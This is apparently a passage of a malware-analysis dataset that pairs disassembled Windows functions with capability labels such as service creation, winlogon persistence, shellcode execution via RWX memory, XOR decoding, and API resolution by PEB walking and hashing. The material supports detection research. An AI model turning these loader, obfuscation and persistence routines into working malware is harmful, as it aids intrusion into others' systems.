joyce8/EMBER2024-capa huggingface dataset:
Function at 0x541590
Capabilities:
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xd
push 0
push 0
dec ecx
jne 0x541598
mov dword [ebp - 8], edx
mov byte [ebp - 1], al
xor eax, eax
push ebp
push 0x5417b8
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov al, byte [ebp - 1]
add al, 0xfe
sub al, 2
jae 0x54179d
cmp byte [ebp - 1], 2
jne 0x5415e7
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x10]
lea eax, [ebp - 0x40]
mov edx, 0x5417d4
call fcn.00408468
mov eax, dword [ebp - 0x40]
call fcn.00535d98
jmp 0x541602
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x10]
lea eax, [ebp - 0x44]
mov edx, 0x541810
call fcn.00408468
mov eax, dword [ebp - 0x44]
call fcn.00535d98
push 1
push 0
push 0
call sub.advapi32.dll_OpenSCManagerW
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x541674
push 0x54184c
call sub.kernel32.dll_GetLastError_2
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x4c]
call fcn.0041f210
push dword [ebp - 0x4c]
push 0x54188c
call sub.kernel32.dll_GetLastError_2
lea edx, [ebp - 0x50]
call fcn.00423a20
push dword [ebp - 0x50]
push 0x54188c
mov eax, dword [ebp - 8]
push dword [eax + 0xc]
push 0x54188c
mov eax, dword [ebp - 8]
push dword [eax + 0x10]
lea eax, [ebp - 0x48]
mov edx, 8
call fcn.004084f0
mov eax, dword [ebp - 0x48]
call fcn.00535d98
jmp 0x54179d
cmp byte [ebp - 1], 2
jne 0x541683
mov dword [ebp - 0x18], 0x10
jmp 0x54168a
mov dword [ebp - 0x18], 0x20
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x10]
call fcn.00408224
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_OpenServiceW
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x5416ff
push 0x54189c
call sub.kernel32.dll_GetLastError_2
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x58]
call fcn.0041f210
push dword [ebp - 0x58]
push 0x54188c
call sub.kernel32.dll_GetLastError_2
lea edx, [ebp - 0x5c]
call fcn.00423a20
push dword [ebp - 0x5c]
push 0x54188c
mov eax, dword [ebp - 8]
push dword [eax + 0x10]
lea eax, [ebp - 0x54]
mov edx, 6
call fcn.004084f0
mov eax, dword [ebp - 0x54]
call fcn.00535d98
jmp 0x541794
cmp byte [ebp - 1], 2
jne 0x54171f
lea eax, [ebp - 0x1c]
push eax
push 0
mov eax, dword [ebp - 0x10]
push eax
call fcn.00456194
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 9], al
jmp 0x541737
lea eax, [ebp - 0x38]
push eax
push 1
mov eax, dword [ebp - 0x10]
push eax
call fcn.0045613c
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x54178b
push 0x54184c
call sub.kernel32.dll_GetLastError_2
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x64]
call fcn.0041f210
push dword [ebp - 0x64]
push 0x54188c
call sub.kernel32.dll_GetLastError_2
lea edx, [ebp - 0x68]
call fcn.00423a20
push dword [ebp - 0x68]
push 0x54188c
mov eax, dword [ebp - 8]
push dword [eax + 0x10]
lea eax, [ebp - 0x60]
mov edx, 6
call fcn.004084f0
mov eax, dword [ebp - 0x60]
call fcn.00535d98
mov eax, dword [ebp - 0x10]
push eax
call fcn.00456134
mov eax, dword [ebp - 0x14]
push eax
call fcn.00456134
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5417bf
lea eax, [ebp - 0x68]
mov edx, 0xb
call fcn.00407674
ret
Function at 0x5418e8
Capabilities:
Modify service
Query service status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x541afa
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 5
push 1
push 0
push 0
call sub.advapi32.dll_OpenSCManagerW
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x54196c
mov byte [ebp - 5], 6
push 0x541b18
mov eax, dword [ebp - 4]
push dword [eax + 0x10]
push 0x541b58
call sub.kernel32.dll_GetLastError_2
lea edx, [ebp - 0x38]
call fcn.00423a20
push dword [ebp - 0x38]
lea eax, [ebp - 0x34]
mov edx, 4
call fcn.004084f0
mov eax, dword [ebp - 0x34]
call fcn.00535d98
jmp 0x541adf
xor eax, eax
push ebp
push 0x541acc
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x10]
call fcn.00408224
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_OpenServiceW
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x5419e4
call sub.kernel32.dll_GetLastError_2
cmp eax, 0x424
jne 0x5419aa
mov byte [ebp - 5], 0
push 0x541b78
mov eax, dword [ebp - 4]
push dword [eax + 0x10]
push 0x541b58
call sub.kernel32.dll_GetLastError_2
lea edx, [ebp - 0x40]
call fcn.00423a20
push dword [ebp - 0x40]
lea eax, [ebp - 0x3c]
mov edx, 4
call fcn.004084f0
mov eax, dword [ebp - 0x3c]
call fcn.00535d98
jmp 0x541ac2
mov byte [ebp - 5], 1
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x10]
push eax
call fcn.00456174
test eax, eax
je 0x541a3c
cmp dword [ebp - 0x2c], 4
jne 0x541a05
mov byte [ebp - 5], 2
jmp 0x541a3c
push 0x541bb4
mov eax, dword [ebp - 4]
push dword [eax + 0x10]
push 0x541be4
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x48]
call fcn.0041f210
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
mov edx, 4
call fcn.004084f0
mov eax, dword [ebp - 0x44]
call fcn.00535d98
cmp byte [ebp - 5], 1
jne 0x541ab9
push 2
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x10]
call fcn.00408224
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_OpenServiceW
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x541a74
call sub.kernel32.dll_GetLastError_2
cmp eax, 0x424
jne 0x541ab9
mov byte [ebp - 5], 0
jmp 0x541ab9
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0xffffffffffffffff
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_ChangeServiceConfigW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
jne 0x541ab0
call sub.kernel32.dll_GetLastError_2
cmp eax, 0x430
jne 0x541ab0
mov byte [ebp - 5], 4
mov eax, dword [ebp - 0x10]
push eax
call fcn.00456134
mov eax, dword [ebp - 0x10]
push eax
call fcn.00456134
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x541ad6
mov eax, dword [ebp - 0xc]
push eax
call fcn.00456134
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x541b01
lea eax, [ebp - 0x48]
mov edx, 6
call fcn.00407674
ret
Function at 0x5442a4
Capabilities:
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x5443b1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00407614
mov dl, 1
mov eax, dword [0x45b72c]
call fcn.0045c878
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x54437a
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000002
mov eax, dword [ebp - 8]
call fcn.0045c960
mov edx, 0x5443c8
mov eax, dword [ebp - 8]
call fcn.0045dd8c
test al, al
je 0x54435a
mov eax, dword [ebp - 8]
mov dword [eax + 0x18], 0x20019
mov edx, 0x5443c8
mov eax, dword [ebp - 8]
call fcn.0045cbec
test al, al
je 0x544333
mov ecx, dword [ebp - 4]
mov edx, 0x544440
mov eax, dword [ebp - 8]
call fcn.0045d474
jmp 0x544364
call sub.kernel32.dll_GetLastError_2
lea edx, [ebp - 0x18]
call fcn.00423a20
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x544458
call fcn.00408468
mov eax, dword [ebp - 0x14]
call fcn.00535d98
jmp 0x544364
mov eax, 0x5444b8
call fcn.00535d98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x544381
mov eax, dword [ebp - 8]
call fcn.0040598c
ret

Function at 0x547858
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.004076f8
xor eax, eax
push ebp
push 0x5478e6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.00408224
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 8], 0
jne 0x5478aa
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
call fcn.00408224
push eax
push 0
call sub.advapi32.dll_RegisterEventSourceW
mov edx, dword [ebp - 4]
mov dword [edx + 8], eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 1
push 0
mov eax, dword [ebp + 8]
push eax
mov ax, word [ebp + 0xc]
push eax
mov ax, word [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
push eax
call sub.advapi32.dll_ReportEventW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5478ed
lea eax, [ebp - 8]
call fcn.00407614
ret
Function at 0x548d14
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x548ef8
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00404914
mov eax, dword [ebp - 4]
cmp word [eax + 0xaa], 0
je 0x548d65
mov ebx, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xac]
call dword [ebx + 0xa8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x98]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x548d7f
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], eax
jmp 0x548d84
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 0x88], 0
jne 0x548d97
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x548da8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x88]
call fcn.00408224
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x84]
call fcn.00408224
push eax
mov eax, dword [ebp - 0x14]
push eax
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 4]
call fcn.00548240
mov eax, dword [ebp - 0x24]
call fcn.00408224
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x7c]
call fcn.00408224
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00408224
push eax
mov eax, dword [ebp - 4]
call fcn.0054840c
push eax
mov eax, dword [ebp - 4]
call fcn.005483c8
push eax
mov eax, dword [ebp - 4]
call fcn.00548360
push eax
push 0xf01ff
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 4]
call fcn.00548004
mov eax, dword [ebp - 0x28]
call fcn.00408224
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
call fcn.00408224
push eax
mov eax, dword [ebp - 8]
push eax
call fcn.00456144
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov dword [eax + 0x98], edx
cmp dword [ebp - 0x18], 0
jne 0x548e4b
call fcn.00426710
xor eax, eax
push ebp
push 0x548ece
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x548e90
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp word [eax + 0xb2], 0
je 0x548e86
mov ebx, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xb4]
call dword [ebx + 0xb0]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x548eb7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x548ed5
mov eax, dword [ebp - 0x18]
push eax
call fcn.00456134
ret
Function at 0x548f08
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp word [eax + 0xba], 0
je 0x548f34
mov ebx, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xbc]
call dword [ebx + 0xb8]
push 0xf01ff
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
call fcn.00408224
push eax
mov eax, dword [ebp - 8]
push eax
call fcn.00456164
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x548f5c
call fcn.00426710
xor eax, eax
push ebp
push 0x548f93
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
push eax
call fcn.0045614c
test eax, eax
jne 0x548f7c
call fcn.00426710
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x548f9a
mov eax, dword [ebp - 0xc]
push eax
call fcn.00456134
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Identify system language via api

Disassembly:
mov edx, 0x78e4
mov esi, 0x7d23
inc edx
rol esi, 9
push 0x8a94
push esi
push edx
call sub.kernel32.dll_GetSystemDefaultUILanguage
pop ebx
pop eax
pop edx
push 0x40
push 0x3000
push 0x1f400
push 0
call sub.kernel32.dll_VirtualAlloc
jmp loc.0054c000

Function at 0x477fa6
Capabilities:
Encode data using xor

Disassembly:
jmp 0x477fba
call ebx
add esp, 0x368
ret
sub esp, 0x368
mov esi, 0x478fa6
mov edi, 0x4800f8
mov dword [edi], eax
mov edi, eax
jmp 0x477fee
mov al, byte [esi]
nop
xor al, dl
mov byte [edi], al
inc esi
nop
inc edi
dec ecx
nop
cmp ecx, 0
nop
jne 0x477fd3
jmp 0x477fab
mov ebx, edi
mov ecx, 0x368
mov edx, 0xc4
jmp 0x477fd3
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x402ee4
pop dword [ebp - 0x50]
mov eax, 0x9261aed5
add eax, 0x6dde800f
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x9cef2b57
add dword [ebp - 0x60], 0xb16319f4
mov dword [ebp - 0x5c], 0x1eefb41
add dword [ebp - 0x5c], 0x30445104
mov dword [ebp - 0x58], 0x355b92d4
add dword [ebp - 0x58], 0x16f0b15a
mov dword [ebp - 0x54], 0x4f96d380
add dword [ebp - 0x54], 0xb0692c80
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xa3bf48a3
add dword [ebp - 0x60], 0xd0b320b3
mov dword [ebp - 0x5c], 0x6ca1e3ab
sub dword [ebp - 0x5c], 0x2b358236
mov dword [ebp - 0x58], 0x46962ae3
add dword [ebp - 0x58], 0x1cd94189
mov dword [ebp - 0x54], 0xe20c2fea
add dword [ebp - 0x54], 0x1df3d016
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xe9dfde5d
add eax, 0x1660a2a3
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3512b
push 0
call eax
mov ecx, 0x4026
mov edi, eax
mov esi, 0x310f5074
add esi, 0xcf37938c
add esi, dword [ebp - 0x50]
mov ebx, 0x807f54dc
sub ebx, 0x4c8f8a56
sub dword [ebp - 0x40], 0x124585b3
mov edx, dword [esi]
xor edx, ebx
xor dword [ebp - 0x38], edi
mov dword [edi], edx
add dword [ebp - 0x4c], 0xfce69b93
add edi, 0x8147928d
sub edi, 0x81479289
add esi, 0xf5c3a3be
sub esi, 0xf5c3a3ba
loop 0x402ffb
add eax, 0xf36b
xor ebx, ebx
add ebx, eax
add eax, 0x96aeb68a
sub eax, 0x96aeb685
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x401bcf
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x401bfd
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x401bf4
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x401bec
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x401c1e
mov esp, ebp
pop ebp
ret

Function at 0x401c22
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x401c8e
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x401cbb
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x401caa
xor ecx, eax
xor edx, ebx
dec edi
jne 0x401c9b
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x401ce1
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x401c82
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x401d0d
mov esp, ebp
pop ebp
ret 0xc
Function at 0x407f8d
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
jle 0x407ff1
add eax, 8
mov edi, eax
mov ebx, edi
push edi
xor al, al
pop esi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov edi, eax
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x407fda
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x407fc9
xor ecx, eax
xor edx, ebx
dec edi
jne 0x407fba
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 4

Function at 0x40b9b0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
push eax
push ecx
push edx
push ebx
push esi
push edi
nop
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
mov esi, ecx
nop
pop edx
pop ecx
pop ebx
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
pop edx
pop ecx
pop ebx
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x64]
add esi, eax
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, al
add esi, ebx
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, cl
add esi, ebx
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, dl
add esi, ebx
nop
imul esi, esi, 0x666
mov dword [ebp - 4], esi
nop
pop edi
pop esi
pop ebx
pop edx
pop ecx
pop eax
mov eax, dword [ebp - 4]
jmp 0x40ba4d
mov esp, ebp
pop ebp
ret
Function at 0x4126e7
Capabilities:
Contain obfuscated stackstrings
Decode data using base64 via vbmi lookup table
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x84
push ebx
mov ebx, dword [esp + 0x98]
push esi
xor ecx, ecx
xor esi, esi
xor edx, edx
push edi
mov dword [esp + 0xc], 0x7f7f7f7f
mov dword [esp + 0x10], 0x7f7f7f7f
mov dword [esp + 0x14], 0x7f7f7f7f
mov dword [esp + 0x18], 0x7f7f7f7f
mov dword [esp + 0x1c], 0x7f7f7f7f
mov dword [esp + 0x20], 0x7f7f7f7f
mov dword [esp + 0x24], 0x7f7f7f7f
mov dword [esp + 0x28], 0x7f7f7f7f
mov dword [esp + 0x2c], 0x7f7f7f7f
mov dword [esp + 0x30], 0x7f7f7f7f
mov dword [esp + 0x34], 0x3e7f7f7f
mov dword [esp + 0x38], 0x3f7f7f7f
mov dword [esp + 0x3c], 0x37363534
mov dword [esp + 0x40], 0x3b3a3938
mov dword [esp + 0x44], 0x7f7f3d3c
mov dword [esp + 0x48], 0x7f7f407f
mov dword [esp + 0x4c], 0x201007f
mov dword [esp + 0x50], 0x6050403
mov dword [esp + 0x54], 0xa090807
mov dword [esp + 0x58], 0xe0d0c0b
mov dword [esp + 0x5c], 0x1211100f
mov dword [esp + 0x60], 0x16151413
mov dword [esp + 0x64], 0x7f191817
mov dword [esp + 0x68], 0x7f7f7f7f
mov dword [esp + 0x6c], 0x1c1b1a7f
mov dword [esp + 0x70], 0x201f1e1d
mov dword [esp + 0x74], 0x24232221
mov dword [esp + 0x78], 0x28272625
mov dword [esp + 0x7c], 0x2c2b2a29
mov dword [esp + 0x80], 0x302f2e2d
mov dword [esp + 0x84], 0x7f333231
mov dword [esp + 0x88], 0x7f7f7f7f
test ebx, ebx
je 0x412934
mov edi, dword [esp + 0x9c]
mov edi, edi
mov eax, ebx
sub eax, edx
cmp eax, 2
jb 0x412831
cmp byte [edx + edi], 0xd
jne 0x412831
cmp byte [edx + edi + 1], 0xa
je 0x41286a
mov al, byte [edx + edi]
cmp al, 0xa
je 0x41286a
cmp al, 0x3d
jne 0x412846
inc ecx
cmp ecx, 2
ja 0x412942
cmp al, 0x7f
ja 0x412942
movzx eax, al
mov al, byte [esp + eax + 0xc]
cmp al, 0x7f
je 0x412942
cmp al, 0x40
jae 0x412869
test ecx, ecx
jne 0x412942
inc esi
inc edx
cmp edx, ebx
jb 0x41281b
test esi, esi
je 0x412934
mov ecx, dword [esp + 0x98]
lea eax, [esi + esi*2]
mov esi, dword [esp + 0x94]
lea eax, [eax*2 + 7]
shr eax, 3
test esi, esi
je 0x412953
cmp dword [ecx], eax
jb 0x412953
xor eax, eax
xor ebx, ebx
push ebp
mov ebp, 3
mov dword [esp + 0x90], eax
test edx, edx
je 0x412923
lea esp, [esp]
mov al, byte [edi]
cmp al, 0xd
je 0x41291f
cmp al, 0xa
je 0x41291f
movzx eax, al
mov cl, byte [esp + eax + 0x10]
xor eax, eax
cmp cl, 0x40
sete al
shl ebx, 6
sub ebp, eax
movzx eax, cl
mov ecx, dword [esp + 0x90]
and eax, 0x3f
inc ecx
or ebx, eax
mov dword [esp + 0x90], ecx
cmp ecx, 4
jne 0x41291f
xor eax, eax
mov dword [esp + 0x90], eax
test ebp, ebp
je 0x41290a
mov eax, ebx
shr eax, 0x10
mov byte [esi], al
inc esi
cmp ebp, 1
jbe 0x412917
mov eax, ebx
shr eax, 8
mov byte [esi], al
inc esi
cmp ebp, 2
jbe 0x41291f
mov byte [esi], bl
inc esi
inc edi
dec edx
jne 0x4128bb
sub esi, dword [esp + 0x98]
mov eax, dword [esp + 0x9c]
pop ebp
mov dword [eax], esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov dword [ecx], eax
or eax, 0xffffffff
pop ebx
add esp, 0x84
ret 0x10
Function at 0x416993
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4169b1
mov eax, 0x577d02
push eax
push 1
mov ebx, 0x4719a0
call fcn.004713c9
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4169db
mov eax, 0
jmp 0x416a4f
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
jle 0x416a3c
add eax, 8
mov edi, eax
mov ebx, edi
push edi
xor al, al
pop esi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov edi, eax
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x416a25
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x416a14
xor ecx, eax
xor edx, ebx
dec edi
jne 0x416a05
not edx
not ecx
mov eax, edx
rol eax, 0x10
